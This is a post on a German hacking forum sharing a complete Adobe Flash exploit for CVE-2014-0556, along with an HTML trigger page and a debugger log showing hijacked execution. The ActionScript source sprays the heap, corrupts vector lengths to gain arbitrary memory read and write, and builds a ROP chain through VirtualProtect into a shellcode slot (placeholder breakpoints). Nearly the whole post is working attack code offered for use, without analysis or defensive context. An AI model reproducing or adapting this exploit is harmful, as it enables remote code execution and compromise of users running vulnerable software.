Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

CVE-2014-0556, Adobe Flash 15.0.0.144

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
sniffer

sniffer

    Lamer

  • Premium Member
  • Likes
    5
  • 17 Beiträge
  • 20 Bedankt
  • verifiziert
  • Android [root]
  • Linux

Please Login HERE or Register HERE to see this link!


Please Login HERE or Register HERE to see this link!



/*
<html>
<head>
 <title>CVE-2014-0556</title>  
</head>
<body>
<object id="swf" width="100%" height="100%" data="NewProject.swf" type="application/x-shockwave-flash"></object><br>
<button onclick="swf.exploit()">STOP</button>
</body>
</html>
*/
/*
(1728.eb0): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63048 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63048 cc              int     3
1:020> dd esp l4
08d63048  cccccccc cccccccc cccccccc cccccccc
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63049 esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d63049 cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304a esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304a cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304b esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304b cc              int     3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304c esp=08d63048 ebp=5a55a3a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
08d6304c cc              int     3
*/
package 
{
 import flash.events.*
 import flash.media.*
 import flash.display.*
 import flash.geom.*
 import flash.utils.*
 import flash.text.*
 import flash.external.ExternalInterface

 public class Main extends Sprite {
   private var i0:uint
   private var i1:uint
   private var i2:uint
   private var i3:uint
   private var str:String = new String("CVE: CVE-2014-0556\nAuthor: hdarwin (@hdarwin89)\nTested on: Win7 SP1 x86 & Flash 14.0.0.145")
   private var ba:Vector.<ByteArray> = new Vector.<ByteArray>(3200)
   private var ob:Vector.<Object> = new Vector.<Object>(6400)
   private var bitmap:BitmapData = new BitmapData(0x100, 4, true, 0xffffffff)
   private var rect:Rectangle = new Rectangle(0, 0, 0x100, 4)
   private var snd:Sound
   private var vector:uint
   private var vtable:uint
   private var flash:uint
   public function Main():void {

     for (i0 = 0; i0 < 3200; i0++) {
       ba[i0] = new ByteArray()
       ba[i0].length = 0x2000
       ba[i0].position = 0xfffff000
     }

     for (i0 = 0; i0 < 3200; i0++) {
       if (i0 % 2 == 0) ba[i0] = null
       ob[i0 * 2] = new Vector.<uint>(1008)
       ob[i0 * 2 + 1] = new Vector.<uint>(1008)
     }

     bitmap.copyPixelsToByteArray(rect, ba[1601])

     for (i0 = 0;; i0++)
       if (ob[i0].length != 1008) break

     ob[i0][1024 * 3 - 2] = 0xffffffff

     for (i1 = 0;; i1++) {
       if (i0 == i1) continue
       if (ob[i1].length != 1008) break
     }

     ob[i1][0xFFFFFFFE - 1024 * 3] = 0xffffffff
     ob[i1][0xFFFFFFFE - 1024 * 3 + 1] = ob[i0][1024 * 3 - 1]
     ob[i0].fixed = true

     for (i2 = 1000;; i2++) {
       if (ob[i1][0xFFFFFFFF - i2 + 0] == 0 && ob[i1][0xFFFFFFFF - i2 + 10] == 1 && ob[i1][0xFFFFFFFF - i2 + 5] == ob[i1][0xFFFFFFFF - i2 + 15]) {
           vector = ob[i1][0xFFFFFFFF - i2 + 11]
           break
       } else if (ob[i1][i2 + 0] == 0 && ob[i1][i2 + 10] == 1 && ob[i1][i2 + 5] == ob[i1][i2 + 15]) {
           vector = ob[i1][i2 + 11]
           break
       }
     }

     snd = new Sound()

     for (i2 = 0; i2 < 6400; i2++) {
       if (i2 == i0 || i2 == i1) continue
       ob[i2] = null
       ob[i2] = new Vector.<Object>(1014)
       ob[i2][0] = snd
       ob[i2][1] = snd
     }

     for (i2 = 0;; i2++) {
       if (ob[i0][i2 + 0] == 1014 &&
         ob[i0][i2 + 1] == ob[i0][i2 + 2] &&
         ob[i0][i2 + 3] == 1
       ) {
         vtable = read(ob[i0][i2 + 1] - 1)
         flash = vtable - 0x00c3c1e8 // Flash32_14_0_0_145.ocx
         write(ob[i0][i2 + 1] - 1, vector + 0xf54)
         for (i3 = 0; i3 < 1008; i3++) {
           ob[i0][i3] = 0x41414100 | i3
         }
         ob[i0][0] = flash + 0x004d6c50 // POP EBP # RETN
         ob[i0][1] = flash + 0x004d6c50 // skip 4 bytes
         ob[i0][2] = flash + 0x00a21b36 // POP EBX # RETN
         ob[i0][3] = 0x00000201 // 0x00000201
         ob[i0][4] = flash + 0x008ec368 // POP EDX # RETN
         ob[i0][5] = 0x00000040 // 0x00000040
         ob[i0][6] = flash + 0x00691119 // POP ECX # RETN
         ob[i0][7] = vector + 2000 // Writable location
         ob[i0][8] = flash + 0x005986d2 // POP EDI # RETN
         ob[i0][9] = flash + 0x00061984 // RETN (ROP NOP)
         ob[i0][10] = flash + 0x001bf342 // POP ESI # RETN
         ob[i0][11] = flash + 0x0000d83f // JMP [EAX]
         ob[i0][12] = flash + 0x000222b5 // POP EAX # RETN
         ob[i0][13] = flash + 0x00b8a3a8 // ptr to VirtualProtect()
         ob[i0][14] = flash + 0x00785916 // PUSHAD # RETN
         ob[i0][15] = flash + 0x0017b966 // ptr to 'jmp esp'
         ob[i0][16] = 0xcccccccc // shellcode
         ob[i0][17] = 0xcccccccc // shellcode
         ob[i0][18] = 0xcccccccc // shellcode
         ob[i0][19] = 0xcccccccc // shellcode
         ob[i0][979] = flash + 0x0029913A // POP EAX # RETN
         ob[i0][980] = 0x00000f58
         ob[i0][981] = flash + 0x00195558 // PUSH ESP # POP ESI # RETN
         ob[i0][982] = flash + 0x0036B3B2 // SUB ESI,EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN
         ob[i0][985] = flash + 0x0095024c // XCHG EAX,ESP # RETN
         ob[i0][1007] = flash + 0x0095024c // XCHG EAX,ESP # RETN
         break
       }
     }

     ob[i1][0xFFFFFFFE - 1024 * 3] = 4096
     ob[i0][1024 * 3 - 2] = 0
     str += flash.toString(16)
     var tf:TextField = new TextField(); tf.width = 800; tf.height = 800; tf.text = str; addChild(tf)

     if (ExternalInterface.available) ExternalInterface.addCallback("exploit", exploit)
   }

   private function write(addr:uint, data:uint):void {
     ob[i0][(addr - vector) / 4 - 2] = data
   }

   private function read(addr:uint):uint {
     return ob[i0][(addr - vector) / 4 - 2]
   }

   private function zeroPad(number:String, width:int):String {
     if (number.length < width)
       return "0" + zeroPad(number, width-1)
     return number
   }

   public function exploit():void {
     snd.toString()
   }
 }
}




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 23 user(s)


    Bad Grandpa, bones, curlz, dev-0, FalkE, Framerater, holz96, jacov, kpakpando, lion., most_uniQue, paulaner, PHIPU, ProHex, S3lent, Sayco, Silasge, Slixer, smc2014, sniffer, Twix2010, Unkiii, Xenio
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.